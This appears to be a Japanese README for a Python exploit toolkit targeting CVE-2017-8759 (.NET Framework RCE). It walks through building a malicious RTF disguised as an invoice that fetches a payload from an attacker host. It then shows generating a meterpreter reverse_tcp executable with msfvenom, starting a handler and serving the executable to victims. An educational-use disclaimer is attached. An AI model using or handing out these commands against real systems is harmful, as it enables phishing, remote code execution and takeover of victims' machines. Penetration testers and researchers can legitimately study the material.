
CVE-2017-8759 (Microsoft .NET Framework RCE) を悪用し、Metasploit/meterpreterペイロードを配信する悪意のあるRTFファイルを生成する、ペネトレーションテスト用Pythonスクリプト。
エクスプロイトツールキット CVE-2017-8759 - v1.0 は、ペネトレーションテスターやセキュリティ研究者が Microsoft .NET Framework RCE を迅速かつ効果的にテストできる便利な Python スクリプトです。複雑な設定なしに悪意のある RTF ファイルを生成し、メタスプロイト / ミータープリター / その他のペイロードを被害者に配信できます。
このプログラムは教育目的のみです。許可なく使用しないでください。通常の免責事項が適用されます。特に、私 (bhdresh) は、これらのプログラムが提供する情報や機能を直接的または間接的に使用したことによって生じた損害について一切の責任を負いません。著者またはインターネットプロバイダーは、これらのプログラムまたはその派生プログラムの内容や誤用について一切の責任を負いません。このプログラムを使用することにより、これらのプログラムの使用によって生じた損害 (データ損失、システムクラッシュ、システム侵害など) が bhdresh の責任ではないことを認めたものとします。
最後に、これは個人開発です。その哲学を尊重し、悪用しないでください。
CC BY 4.0 ライセンス - https://creativecommons.org/licenses/by/4.0/
スクリプトに以下の機能を導入しました。
- 悪意のある RTF ファイルの生成
- 生成された RTF ファイルのエクスプロイトモード
バージョン: Python 2.7.13
1) 悪意のある RTF ファイルを生成
# python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt
2) (オプション、MSF ペイロードを使用する場合): metasploit ペイロードを生成しハンドラを起動
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) エクスプロイトモードでツールキットを起動しローカルペイロードを配信
# python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
# python cve-2017-8759_toolkit.py -h
This is a handy toolkit to exploit CVE-2017-8759 (Microsoft .NET Framework RCE)
Modes:
-M gen 悪意のあるファイルのみを生成
悪意のある RTF ファイルを生成:
-w <Filename.rtf> 悪意のある RTF ファイルの名前 (このファイルを被害者と共有します)。
-u <http://attacker.com/test.txt> リモートのテキストファイルのパス。通常は、このツールが実行されているドメインまたは IP にする必要があります。
例: http://attackerip.com/test.txt (この URL が悪意のある RTF ファイルに含まれ、被害者が悪意のある RTF ファイルを開くとリクエストされます)。
-M exp エクスプロイトモードを起動
エクスプロイト:
-p <TCP port:Default 80> ローカルポート番号。
-e <http://attacker.com/shell.exe> ターゲット上で実行する実行可能ファイル / meterpreter シェル / ペイロードのパス。
-l </tmp/shell.exe> 実行可能ファイル / meterpreter シェル / ペイロードのローカルパスを指定します。
@bhdresh
@Voulnet, @vysec, @bhdresh
もちろん、私はフルタイムの開発者ではないので、多少の問題が発生する可能性があります。
バグや問題は https://github.com/bhdresh/CVE-2017-8759/issues/new から報告してください。